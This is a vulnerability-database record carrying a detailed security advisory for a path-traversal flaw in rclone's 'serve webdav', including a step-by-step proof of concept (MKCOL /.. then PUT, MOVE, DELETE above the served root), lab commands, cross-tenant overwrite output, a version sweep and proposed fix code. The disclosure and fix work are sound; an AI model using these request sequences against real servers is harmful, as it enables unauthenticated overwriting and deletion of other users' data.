{"schema":"threatline.record/2","record":{"id":"GHSA-44pm-2q5p-fm63","aliases":["GHSA-44pm-2q5p-fm63"],"summary":"Path traversal via an unvalidated `..` in `serve webdav` MKCOL, enabling unauthenticated write above the served root","details":"### Summary\r\n\r\n**Path Traversal (CWE-22) — relative path traversal via an unvalidated `..` path component in `rclone serve webdav`.** `MKCOL /..` plants a VFS directory node whose backend path is literally `..`, and from that moment every write routed through it is joined onto the Fs root by the backend and resolves *above* the directory rclone was told to serve. Two unauthenticated HTTP requests are enough.\r\n\r\n```\r\nMKCOL  /..                    -> 201 Created\r\nPUT    /../E1.txt             -> 201 Created     (file created above the served root)\r\nPUT    /../OUTSIDE-SECRET.txt -> 201 Created     (pre-existing file above the root overwritten)\r\nMKCOL  /../D1                 -> 201 Created     (directory created above the served root)\r\n```\r\n\r\n`serve webdav` is the **one** front-end in `cmd/serve/` where this works, and that is the point of the report rather than an aside. `serve restic`, `serve s3` and `serve docker` each carry a path guard you wrote — and `serve ftp`, `serve sftp` and `serve nfs` are confined by their *third-party* libraries, not by rclone code. `serve webdav` has neither: `golang.org/x/net/webdav` passes the request path through uncleaned, and `cmd/serve/webdav/webdav.go` adds no check.\r\n\r\n### Details\r\n\r\n**1. `x/net/webdav` does not clean the request path.** In `golang.org/x/net v0.57.0`, `Handler.stripPrefix` (`webdav/webdav.go:52-60`) returns the path verbatim. That package *has* a `slashClean`, but it is used only by its own `Dir` and `memFS` implementations and by the lock/prop code (`webdav/file.go:85,178,353-354`, `lock.go:154-159,236`, `prop.go:367`) — never on the way out to a caller-supplied `FileSystem`. rclone adds no cleaning either: `cmd/serve/webdav/webdav.go:311-318` mounts the handler with `router.Handle(\"/*\", w)` on a bare `chi.NewRouter()`, and `lib/http/server.go` installs no `middleware.CleanPath`. So `MKCOL /..` arrives at `WebDAV.Mkdir` as `name = \"/..\"`.\r\n\r\n**2. `cmd/serve/webdav` has no path guard at all.** `WebDAV.Mkdir` (`webdav.go:518-530`) is four lines and none of them is a check:\r\n\r\n```go\r\n\tdir, leaf, err := VFS.StatParent(name)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\t_, err = dir.Mkdir(leaf)\r\n```\r\n\r\n**3. `VFS.StatParent` splits `\"..\"` into `(\"\", \"..\")`.** `vfs/vfs.go:517-529` does `path.Split` and then `vfs.Stat(parent)`; with `parent == \"\"` that returns the root `*Dir` and hands `\"..\"` through as the leaf. `VFS.Stat` itself (`vfs.go:489-514`) walks components and calls `dir.Stat(name)` per segment, so a `..` in the middle of a path is looked up as a *literal name* and misses — which is why `PUT /../x` on its own fails, and why the `MKCOL` has to come first.\r\n\r\n**4. `Dir.Mkdir` joins from an empty root, which is the one case where `path.Join` preserves `..`.** `vfs/dir.go:1056-1060`:\r\n\r\n```go\r\nfunc (d *Dir) Mkdir(name string) (*Dir, error) {\r\n\tif d.vfs.Opt.ReadOnly {\r\n\t\treturn nil, EROFS\r\n\t}\r\n\tpath := path.Join(d.path, name)\r\n```\r\n\r\nFor the VFS root `d.path` is `\"\"`, so `path.Join(\"\", \"..\")` is `\"..\"`. (At any deeper directory `path.Join(\"a\", \"..\")` collapses to `\".\"`, which is why the escape is exactly one level and re-rooted at the served directory's parent.) The backend `Mkdir` is called with `\"..\"`, the new node is added to the root's children with `d.path == \"..\"`, and every child path built under it from then on is `\"../<leaf>\"` — `Dir.Create` at `dir.go:1025,1052`, `Dir.Rename` at `dir.go:1173-1174`, `File.Path` at `file.go:148`.\r\n\r\n**5. The backend resolves it, and the `MKCOL` succeeds on a no-op.** `backend/ftp/ftp.go:1090-1093` is representative:\r\n\r\n```go\r\nfunc (f *Fs) Mkdir(ctx context.Context, dir string) (err error) {\r\n\troot := path.Join(f.root, dir)\r\n\treturn f.mkdir(ctx, root)\r\n}\r\n```\r\n\r\nWith `f.root == \"confined\"`, `path.Join(\"confined\", \"..\")` is `\".\"`, and `f.mkdir` returns `nil` immediately for `\".\"` (`ftp.go:1045-1047`). **So the backend is never asked to do anything and the poisoned node is installed on the strength of a success that did not happen.** The subsequent `PUT` then writes `path.Join(\"confined\", \"../E1.txt\")` = `\"E1.txt\"`, above the served root.\r\n\r\nThe precondition is the one you wrote yourselves in `cc5a189f0`, the fix for GHSA-45pq-889g-fcgh: *\"Whether a path then escaped depended on the backend: those which join the root with the remote before encoding it — webdav, ftp, sftp, http and memory — resolved the `..` away, while local and s3 encode the dot elements first and were unaffected.\"* We verified **both** halves of that sentence by execution — see *What this is not*.\r\n\r\n**The node is ephemeral, and it does not matter.** It lives for `--dir-cache-time` (default 5 minutes) and is re-planted by one request. Measured at `--dir-cache-time 1s`:\r\n\r\n```\r\nMKCOL /.. then PUT immediately   : 201 201\r\nPUT alone, cache expired         : 409\r\nMKCOL /.. again then PUT         : 201 201\r\n```\r\n\r\nSo the attack is always `MKCOL /..` immediately followed by the write, and there is no window to miss.\r\n\r\n**What the client can do above the served root.** One planted node, one process, one backend remote; every row below is a run:\r\n\r\n| operation | verb | result | effect |\r\n|---|---|---|---|\r\n| plant the node | `MKCOL /..` | **201** | backend `Mkdir(\".\")` is a no-op; node installed |\r\n| create a file | `PUT /../M.txt` | **201** | new object above the served root |\r\n| overwrite an existing file | `PUT /../OUTSIDE.txt` | **201** | content replaced with attacker bytes |\r\n| create a directory | `MKCOL /../tenant-c` | **201** | new directory above the served root |\r\n| open an existing sibling | `MKCOL /../tenant-b` | **201** | node for another tenant's directory installed |\r\n| write into that sibling | `PUT /../tenant-b/b.txt` | **201** | **another tenant's file overwritten** |\r\n| move a file out | `MOVE` → `/../M.txt` | **201** | file leaves the served tree entirely |\r\n| copy a file out | `COPY` → `/../C.txt` | **201** | copy created above the served root |\r\n| move a directory out | `MOVE /dir1` → `/../D.dir` | **201** | whole subtree, contents included, leaves the served tree |\r\n| delete something the client planted | `DELETE /../P.txt` | **204** | removed |\r\n| delete an unseen file above the root | `DELETE /../OUTSIDE.txt` | **404** | refused — the name is not in the filtered listing |\r\n| …the same file, after one `PUT` | `PUT` then `DELETE` | **201 / 204** | **arbitrary deletion by known name** |\r\n| set a modification time above the root | `PROPPATCH /../M.txt` | **207** | accepted |\r\n| **read an unseen file above the root** | `GET /../OUTSIDE.txt` | **404** | **refused** |\r\n| **enumerate above the root** | `PROPFIND /..` Depth 1 | `/` only | **refused** |\r\n\r\n**The read half is closed, and it is closed by your own August fix.** `Dir.stat(name)` resolves only against the cached listing, `vfs/dir.go:531` reads that listing through `list.DirSorted`, and `fs/list/list.go:136` runs every entry through `RemoveEscaping`. Each entry under the `..` node has a Remote that `RemoteEscapesRoot` rejects, so the node reads as empty and a `GET` or `DELETE` of anything the client did not itself write comes back 404. `RemoteEscapesRoot` is the correct predicate and it already exists in the tree — nothing on the **write** path asks it.\r\n\r\n### PoC\r\n\r\nReleased binary `v1.75.1` (`rclone-v1.75.1-osx-arm64.zip`, `sha256 bfe4a146980f07de56e7dc0115cf562aaad5c81fd10ef9b0f36f777eba0ab031`). Also reproduced on a source build of `master` at `812e693fd` (`v1.76.0-DEV`) — `git diff v1.75.1..master` over `vfs/vfs.go`, `vfs/dir.go`, `cmd/serve/webdav/webdav.go` and `fs/list/list.go` is two files and eight lines, neither touching confinement, and the `master` run is below rather than assumed.\r\n\r\nTwo local processes, no real remote and no real credentials. The *storage* is a second rclone serving FTP over a throwaway tree — it stands in for any third-party FTP server and is not part of the finding; note that the `..` is resolved **client-side** by `path.Join` inside the ftp backend, so the storage server never sees a `..` and its own defences are irrelevant.\r\n\r\n```sh\r\n# fixture\r\n#   store/OUTSIDE-SECRET.txt     \"OUTSIDE-SECRET-a91f3c\"   <- above the served root\r\n#   store/confined/inside.txt    \"inside-ok\"\r\n\r\nrclone serve ftp    --addr 127.0.0.1:2121 --user labuser --pass labpass123 store   # the storage\r\nrclone serve webdav --addr 127.0.0.1:8180 labftp:confined                          # under test\r\n```\r\n\r\nControls first — the served root holds one file and the secret above it is unreachable:\r\n\r\n```\r\nC0 served root sees        : inside.txt\r\nC1 PROPFIND /              : / /inside.txt\r\nC2 GET /inside.txt         : 200\r\nR0a GET /../OUTSIDE        : 404   (no .. node yet)\r\n```\r\n\r\nThe escape:\r\n\r\n```\r\nW1 MKCOL /..               : 201\r\nR0b GET /../OUTSIDE        : 404   (.. node planted, nothing written yet)\r\nR0c body                   : Not Found\r\nW2 PUT /../E1.txt          : 201\r\nW3 MKCOL /../D1            : 201\r\nW4 PUT  /../OUTSIDE-SECRET.txt (overwrite) : 201\r\nR1 PROPFIND /.. Depth 1    : /\r\nD1 DELETE /../E1.txt       : 204\r\n\r\n$ find store\r\nstore/confined/inside.txt\r\nstore/D1                   <- directory created above the served root\r\nstore/OUTSIDE-SECRET.txt\r\n$ cat store/OUTSIDE-SECRET.txt\r\nCLOBBERED                  <- was \"OUTSIDE-SECRET-a91f3c\"\r\n```\r\n\r\n**The cross-front-end control, which is the part we would most like you to read.** Every front-end was driven against the **same** backend remote, from the **same** binary, against the **same** fixture, with default flags, in one scripted run — so no row can differ from another by configuration:\r\n\r\n```\r\nftp  C1 LIST /             : inside.txt\r\nftp  W1 MKD ..             : < 200 Type set to ASCII < 226 Closing data connection\r\nftp  W3 STOR ../E2.txt     : < 200 Type set to binary > STOR E2.txt < 226 OK, received 4 bytes\r\nftp  state                 : confined/E2.txt confined/inside.txt OUTSIDE-SECRET.txt\r\n\r\nsftp C1 ReadDir /          : [E2.txt inside.txt] err=<nil>\r\nsftp W  Mkdir \"..\"         : err=<nil>\r\nsftp W  Mkdir \"/../D9\"     : err=<nil>\r\nsftp W  Create \"/../E9.txt\": err=<nil>\r\nsftp W  Create \"../E9b.txt\": err=<nil>\r\nsftp R  Open /../OUTSIDE…  : \"\" err=file does not exist\r\nsftp state                 : confined/D9 confined/E9.txt confined/E9b.txt confined/inside.txt OUTSIDE-SECRET.txt\r\n\r\nhttp C1 GET /inside.txt    : 200\r\nhttp R1 GET /../OUTSIDE    : 404\r\nhttp R2 GET /..%2fOUTSIDE  : 404\r\n\r\nrestic C1 POST /config     : 200\r\nrestic W1 POST /../E3.txt  : 400\r\nrestic W2 POST /../config  : 400\r\nrestic R1 GET /../OUTSIDE  : 400\r\n\r\ns3  C1 GET /confined/inside.txt     : 200\r\ns3  C2 PUT /confined/ctl.txt        : 200\r\ns3  T1 PUT /confined/../S3ESC.txt   : 400\r\ns3  T2 PUT /confined/..%2fS3ESC2    : 400\r\n```\r\n\r\nRead the `ftp W3` line closely: the client asked for `../E2.txt`, `Session.buildPath` collapsed it, and the driver was handed `STOR E2.txt`. That is your confinement being *observed working*, on the wire, in the same run in which webdav's is absent. The sftp rows come from a raw `pkg/sftp` client written for this, not from the `sftp` CLI, specifically so the client could not be the thing normalising the path; all five escape attempts land **inside** `confined/`. Every front-end has its own `C1` control proving it was live and serving.\r\n\r\n**The multi-tenant reading.** Same mechanism, the deployment that makes it matter — tenant A is served `tenant-a/` and nothing else:\r\n\r\n```\r\ntree before : admin.conf  tenant-a/a.txt  tenant-b/b.txt\r\n\r\nC1  PROPFIND / (tenant A's whole scope) : / /a.txt\r\nC2  GET /../tenant-b/b.txt              : 404    <- control: before the plant, A cannot touch B\r\nT1  MKCOL /..                           : 201\r\nT2  MKCOL /../tenant-b                  : 201    (already exists)\r\nT3  PUT /../tenant-b/b.txt              : 201\r\nT4  PUT /../admin.conf                  : 201\r\nT5  MKCOL /../tenant-c                  : 201\r\nT6  PUT /../tenant-c/planted.txt        : 201\r\n\r\ntree after  : admin.conf  tenant-a/a.txt  tenant-b/b.txt  tenant-c/planted.txt\r\ntenant-b/b.txt : TENANT-A-CLOBBERED-TENANT-B\r\nadmin.conf     : ADMIN-CONFIG-REPLACED\r\n```\r\n\r\n`--read-only` is a complete mitigation, checked rather than assumed:\r\n\r\n```\r\nMKCOL /.. (--read-only)   : 405\r\nPUT /../ro.txt            : 409\r\nfiles above the root      : 0\r\n```\r\n\r\nOn `master` (`812e693fd`):\r\n\r\n```\r\nC1 GET /inside.txt  : 200\r\nT1 MKCOL /..        : 201\r\nT2 PUT /../MAIN.txt : 201\r\nT3 PUT overwrite    : 201\r\nOUTSIDE content     : CLOB\r\n```\r\n\r\n### Affected range\r\n\r\n**`<= 1.75.1`.** Established by running the probe against seven separately downloaded released binaries, not by reading a changelog. Each row is a fresh fixture, a fresh storage server and a fresh front-end process, with the control re-verified before the verdict was recorded.\r\n\r\n| version | webdav `MKCOL /..` + `PUT` | webdav read of an untouched file above the root | `restic POST /../x` | controls |\r\n|---|---|---|---|---|\r\n| v1.71.0 | **OPEN** mkcol=201 put=201 | **OPEN** 200, secret read | **OPEN** post=200 | dav=200 restic=200 |\r\n| v1.72.0 | **OPEN** mkcol=201 put=201 | **OPEN** 200, secret read | **OPEN** post=200 | dav=200 restic=200 |\r\n| v1.73.0 | **OPEN** mkcol=201 put=201 | **OPEN** 200, secret read | **OPEN** post=200 | dav=200 restic=200 |\r\n| v1.74.0 | **OPEN** mkcol=201 put=201 | **OPEN** 200, secret read | **OPEN** post=200 | dav=200 restic=200 |\r\n| v1.74.4 | **OPEN** mkcol=201 put=201 | **OPEN** 200, secret read | **OPEN** post=200 | dav=200 restic=200 |\r\n| v1.75.0 | **OPEN** mkcol=201 put=201 | **OPEN** 200, secret read | closed post=400 | dav=200 restic=200 |\r\n| v1.75.1 | **OPEN** mkcol=201 put=201 | closed 404 | closed post=400 | dav=200 restic=200 |\r\n\r\n**Two columns flip, both exactly at one of your published fix boundaries, and the harness found both without being told where they were.** The `restic` column flips at **v1.75.0**, the first release containing `cc5a189f0` — the fix for GHSA-45pq-889g-fcgh / CVE-2026-71309. The webdav **read** column flips at **v1.75.1**, the first and only release containing `57842c5ee` — the fix for GHSA-3vxh-3pcx-9m8q / GHSA-38xv-hf3p-h7mq. Both were confirmed independently afterwards with `git tag --contains`. The webdav **write** column does not flip anywhere. We offer that as the reason to trust the range rather than as decoration: the same instrument that rediscovered two boundaries you had already set found none on the write path.\r\n\r\nv1.71.0 is the oldest release we ran and it is open. **We have not established a lower bound and do not claim one** — the mechanism is long-standing and the true range is very likely older, so `<= 1.75.1` is the range we are willing to state. Per `SECURITY.md` only the latest release is supported and this reproduces on it.\r\n\r\nThree configuration preconditions, none of them exotic and none requiring a non-default flag: `rclone serve webdav` is running; the served remote is a backend that joins root and remote before encoding (webdav, ftp, sftp, http, memory per your own enumeration — **not** local, **not** s3); and the served remote has a non-empty root (`remote:subdir`, not `remote:`), because with an empty root there is nothing above it inside the backend's namespace. Authentication is not a precondition, because `rclone serve webdav` has none by default.\r\n\r\n### Impact\r\n\r\nAn unauthenticated client of a `rclone serve webdav` listener gets file creation, file overwrite, directory creation, `MOVE` and `COPY` of data out of the served tree, subtree `MOVE`, modification-time change, and — after a single overwrite — deletion, at any path above the directory rclone was configured to serve, up to the top of the backend's own namespace.\r\n\r\nThe deployment where this is worst is the one `serve webdav` is most often used for: one subdirectory per tenant or per user under a shared remote. A client confined to `tenant-a/` overwrites `tenant-b/b.txt` and `admin.conf` and plants `tenant-c/`, as shown above. Sibling names need not be guessed in that layout; they are the tenant identifiers.\r\n\r\n**There is no confidentiality impact at v1.75.1, and we want to be explicit about it.** Reads and enumeration above the served root are refused, because `RemoveEscaping` filters the listing the VFS lookup depends on. A `GET` that succeeds returns the client's own bytes from a prior overwrite, not the original content. On v1.75.0 and earlier the read was open too, and the sweep above shows exactly that — but the report is scoped to the current release, where this is an integrity and availability finding only.\r\n\r\n### Fix\r\n\r\nFinished code, not a diff. The **narrow fix** is the guard `serve restic` already has, in the one front-end that lacks one. In `cmd/serve/webdav/webdav.go`, with `iofs \"io/fs\"` added to the imports:\r\n\r\n```go\r\n// Mkdir creates a directory\r\nfunc (w *WebDAV) Mkdir(ctx context.Context, name string, perm os.FileMode) (err error) {\r\n\tVFS, err := w.getVFS(ctx)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\tif err := checkPath(name); err != nil {\r\n\t\treturn err\r\n\t}\r\n\tdir, leaf, err := VFS.StatParent(name)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\t_, err = dir.Mkdir(leaf)\r\n\treturn err\r\n}\r\n\r\n// checkPath rejects a request path which is not a canonical relative path free\r\n// of \".\" and \"..\" elements. The backends join the path with the Fs root, so\r\n// such elements would otherwise address objects outside it.\r\n//\r\n// The empty path is the root of the collection so is allowed. \".\" is not a\r\n// valid name here, even though iofs.ValidPath accepts it as the root of an FS.\r\nfunc checkPath(name string) error {\r\n\tname = strings.Trim(name, \"/\")\r\n\tif name == \"\" {\r\n\t\treturn nil\r\n\t}\r\n\tif name == \".\" || !iofs.ValidPath(name) {\r\n\t\treturn os.ErrInvalid\r\n\t}\r\n\treturn nil\r\n}\r\n```\r\n\r\nand the same two-line `checkPath` call at the top of `OpenFile`, `RemoveAll`, `Stat` and both arguments of `Rename` — every place in that file that takes a client-supplied `name`. Returning a non-`IsNotExist` error there gets `x/net/webdav`'s default mapping, which for `MKCOL` and `PUT` is 405 (`webdav.go:332-335`); if you would rather mirror `serve restic`'s 400 you can intercept it in `ServeHTTP` before the handler runs, which is also where a single check would cover every verb at once.\r\n\r\n**The chokepoint alternative, which we raise in the same breath rather than filing separately.** `lib/sanitize.Leaf` already refuses `\"\"`, `\".\"`, `\"..\"` and anything containing `/` — exactly the check the VFS needs on a leaf name. Calling it at the top of `Dir.Mkdir`, `Dir.Create` and `Dir.Rename` in `vfs/dir.go`:\r\n\r\n```go\r\n// Mkdir creates a new directory\r\nfunc (d *Dir) Mkdir(name string) (*Dir, error) {\r\n\tif d.vfs.Opt.ReadOnly {\r\n\t\treturn nil, EROFS\r\n\t}\r\n\tif err := sanitize.Leaf(name); err != nil {\r\n\t\tfs.Errorf(d, \"Dir.Mkdir refusing unsafe name: %v\", err)\r\n\t\treturn nil, EINVAL\r\n\t}\r\n\tpath := path.Join(d.path, name)\r\n\t...\r\n```\r\n\r\ncloses the cell for every current and future front-end at once, and removes rclone's dependence on `pkg/sftp`, `goftp.io/server/v2` and `go-nfs` continuing to clean paths on its behalf.\r\n\r\n**The trade-off, stated rather than buried.** That second change touches the VFS write path, which every `serve` front-end and `rclone mount` share, so it is a minor-version change rather than a patch — a name that today reaches a backend as `..` and is simply an odd directory would start returning `EINVAL`. The narrow fix is a patch and closes this report. We think the narrow fix should ship now and the chokepoint should follow, and we are flagging it because the pattern argues for it: this is the fifth path-confinement fix on `cmd/serve/` in four months — `serve s3` (`83d1e62aa`, GHSA-8v25), `serve restic` twice (CVE-2026-59733, then `cc5a189f0`), `serve docker` (`f376c6478`, GHSA-p6vx) — each written against the front-end that was reported, and none generalised. Three of the ten front-ends that are currently safe are safe because of a dependency, not because of rclone code, so a `go.mod` update can reopen them with no rclone change at all.\r\n\r\n### Severity\r\n\r\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` — **7.5 High**.\r\n\r\nMetric by metric. **`AV:N`** — plain HTTP to the WebDAV listener, your value on every `serve` advisory. **`AC:L`** — two requests, no race, no window to hit, and no knowledge needed at all for the create / `MKCOL` / `MOVE`-out half; your value on GHSA-8v25 for the same class. The node expiring with the directory cache is not an access-complexity factor, because re-planting is one request and was measured to work. **`PR:N`** — `rclone serve webdav` has no authentication by default; your value on GHSA-8v25 and GHSA-xwwr-4h3p-r22c. **`UI:N`** — no victim action of any kind. **`S:U`** — your value on both `serve restic` advisories and on GHSA-8v25. **`I:H`** — arbitrary creation, arbitrary overwrite by known name, directory creation, `MOVE`/`COPY` of data out of the served tree, subtree `MOVE`, and deletion after one overwrite, at any path above the served root; in the per-tenant layout that is another tenant's data, and `I:H` is your own value for cross-tenant overwrite on CVE-2026-59733.\r\n\r\n**`C:N`, and we want to defend it properly because it is the metric that lowers this score.** Reads and enumeration above the served root are **refused** at v1.75.1. Our own first run reported `GET /../OUTSIDE-SECRET.txt` → 200 and we nearly wrote that down; re-ordering the probes showed it was an artefact of probe ordering — the 200 only appears *after* a `PUT` has already overwritten that file, so what comes back is the attacker's own bytes. With the read issued before any write, both before and after the node is planted, it is 404 and 404 with body `Not Found`. So `C:N`, not `C:L` and not `C:H`.\r\n\r\n**Two higher readings, named and declined.** Deletion of another tenant's data is demonstrated (`PUT` then `DELETE` → 201 / 204, file gone) and you scored `A:H` for exactly that on CVE-2026-59733; with `A:H` the vector is `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H` = **9.1 Critical**. And the escape does cross from the root rclone was configured to serve into the rest of the storage namespace, which is the argument for `S:C` — you used `S:C` on GHSA-66hp for an archive escaping its own namespace; that gives **7.9**. **We are not proposing either.** Your nearest-class advisory, GHSA-45pq-889g-fcgh / CVE-2026-71309 — *\"Incomplete path validation allows backend root escape in serve restic\"*, the same class in the same front-end family by the same mechanism — is `high`, and consistency with your own scoring is worth more to us than a higher number. If you conclude that `A:H` or `S:C` is right, that is your call to make and we will not dispute it.\r\n\r\nThe one reading we would argue against is `I:L`. GHSA-8v25 was scored `C:L/I:L` for *root-level files* in one bucket; this reaches every path above the served root, including other tenants' data, which is the `I:H` situation you already recognised on CVE-2026-59733.\r\n\r\n### What this is not\r\n\r\n**Not a default-configuration hole on every backend.** `serve webdav` over a `local` backend does **not** escape, and the status codes lie about it — all requests return 201 and the verdict has to come from the filesystem. The file landed at `confined/．．/A-ESC.txt`: the local backend's `EncodeDot` had rendered `..` as two U+FF0E characters and confined the write. We also confirmed the other direction, so the class is backend-family-wide rather than an ftp quirk — front-end over the **webdav** backend, same two requests, `B-ESC.txt` above the served root. Your sentence in `cc5a189f0` about which backends are affected is accurate in both directions, and the range above carries the precondition.\r\n\r\n**Not a second open cell in `serve nfs`, and we are not claiming one.** `willscott/go-nfs v0.0.4` validates `.` and `..` in **MKDIR only** (`nfs_onmkdir.go:40`); `CREATE`, `RENAME`, `REMOVE`, `SYMLINK`, `LINK` and `MKNOD` check only `PathNameMax` and then `fs.Join(path..., Filename)`. So the directory *plant* this whole finding depends on is blocked there. But `nfs_onrename.go:77`'s `toLoc` with a `..` leaf would reach `VFS.Rename` and then `operations.DirMove` with a destination outside the root, and **we did not drive it** — a real NFS client needs root on the host we tested from. We record it as an untested residual with a named next step (a `go-nfs-client` MKDIR / CREATE / RENAME with a `..` filename) so you are not reading \"nfs is fine\" into a row we did not run.\r\n\r\n**`serve dlna` and `serve docker` were read, not run.** `dlna` is read-only and cleans in `objectFromID` (`cds.go:268-272`); `docker` has `volumeMountPath` and is already the subject of GHSA-p6vx-hf7p-98j6. Neither needs action from this report and neither was executed, so neither appears as a claim.\r\n\r\n**Not a flaw in `golang.org/x/net/webdav`.** Its `Handler` is documented to hand the path to the `FileSystem` implementation, and its own `Dir` and `memFS` both call `slashClean` before touching anything. The missing cleaning is rclone's to add. The reason this is a matrix with one open cell rather than a library-wide problem is the reverse of the same observation: `serve ftp`, `serve sftp` and `serve nfs` are closed by `goftp.io/server/v2`'s `buildPath` (`session.go:275-286`), `pkg/sftp`'s `cleanPath` (`request-server.go:345-355`, applied at `request.go:163`) and `go-nfs`'s `nfs_onmkdir.go:40` respectively — three third-party libraries, none of them rclone.\r\n\r\n**Not reachable through the rc.** We did not test the rc API and are not reporting anything about it, per clause 3 of `SECURITY.md` and the disposition on the rc security page. We note it only because `rclone rc serve/start` would have been the natural way to get several front-ends into one process for the control above, and we deliberately did not use it — standing up something documented as shell-equivalent inside the process under test would have contaminated the claim that this needs no privilege. The cross-front-end control was built from one script, one binary and one backend remote instead.\r\n\r\n### Dedup\r\n\r\nWe could find no published advisory of yours covering `serve webdav`. The four path-confinement advisories on the `serve` front-ends are GHSA-fqj9-69pf-6pjg and GHSA-45pq-889g-fcgh (`serve restic`), GHSA-8v25-v8p6-qf7v (`serve s3`) and GHSA-p6vx-hf7p-98j6 (`serve docker`); GHSA-3vxh-3pcx-9m8q and GHSA-38xv-hf3p-h7mq are the backend *listing* side, i.e. a malicious server's names reaching a client, which is the opposite direction to this; and GHSA-66hp-wgxq-6f5q is archive entry names. This is a WebDAV client writing *into* the server, through the VFS, and we believe none of those cover it.\r\n\r\nWe should say plainly that the duplication risk here is real rather than nominal: you have published four fixes in this exact class between 2026-06-29 and 2026-08-20, so someone is clearly working the same axis, and a private report already in your queue would be invisible from outside. If this duplicates something you are already carrying, please say so and close it — we would rather know than have you handle it twice.\r\n\r\n### Recorded, not claimed\r\n\r\nThree adjacent hunts came back **negative** and we report them so you need not repeat them.\r\n\r\n**The symlink route does not give a read above the root.** With `--links`, a planted `..` node and a `.rclonelink` whose target is `../OUTSIDE-SECRET.txt` (or the absolute `/OUTSIDE-SECRET.txt`), `GET` returns 404 for both. `File.resolveNode` (`vfs/file.go:746-800`) joins, cleans and then resolves through `vfs.Stat`, so the target lands back on the same filtered lookup and an absolute target is trimmed and re-rooted at the served directory. That conclusion is only sayable because of the control: our first attempt had **no** working positive control — a symlink to a file *inside* the root also returned 404, because the `.rclonelink` translation happens at listing time — and with `--dir-cache-time 1s` and a refresh the control came alive at 200 `inside-ok` while both escaping targets stayed refused.\r\n\r\n**The archive matrix is full.** Only two archivers are registered (`.zip` at `zip.go:29`, `.sqfs` at `squashfs.go:27`) and all three name-handling sites call the helper: `zip.go:142` (`sanitize.Path`), `squashfs.go:245` (`sanitize.Leaf`), `cmd/archive/extract/extract.go:216` (`sanitize.Path`). Run against the released binary with a zip built for the purpose — entries `control.txt`, `../ESCAPED-ZIP.txt`, `..\\ESCAPED-BACKSLASH.txt`, `sub/../../ESCAPED-INTERIOR.txt`, `./dot.txt` — `control.txt` extracted and then extraction aborted: `refusing to extract archive entry: path \"../ESCAPED-ZIP.txt\" has a \"..\" component`. Nothing above the destination. Failing closed on the first bad entry is the stronger behaviour and we note it as such.\r\n\r\n**`serve s3` and `serve restic` hold, and the `serve s3` guard is the one that got the anchoring right first.** `canonicalKey` (`utils.go:96`) anchors with a leading `/` before cleaning, which is exactly the property `CVE-2026-71309` later found missing from restic's version of the same test; four probe forms (`../`, `..%2f`, on `PUT` and on `GET`) all return 400 with controls at 200.\r\n","categories":["Unclassified"],"product":"github.com/rclone/rclone","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/rclone/rclone/security/advisories/GHSA-44pm-2q5p-fm63","source_modified_at":"2026-10-09T10:55:55Z","fetched_at":"2026-10-26T00:08:39.284423Z","package":{"ecosystem":"go","name":"github.com/rclone/rclone"},"range":"<= 1.75.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/rclone/rclone/security/advisories/GHSA-44pm-2q5p-fm63","source_modified_at":"2026-10-09T10:55:55Z","fetched_at":"2026-10-26T00:08:39.284423Z","package":{"ecosystem":"go","name":"github.com/rclone/rclone"},"version":"1.75.2"}],"cvss":7.5,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-09T10:55:55Z","modified_at":"2026-10-09T10:55:55Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/rclone/rclone/security/advisories/GHSA-44pm-2q5p-fm63","fetched_at":"2026-10-26T00:08:39.284423Z","source_modified_at":"2026-10-09T10:55:55Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-09T10:55:55Z","content_hash":"a3a52df535c3c82db90f3295326f7044a08770e1bbe2f939cf4d04b2b535fc4c"}}
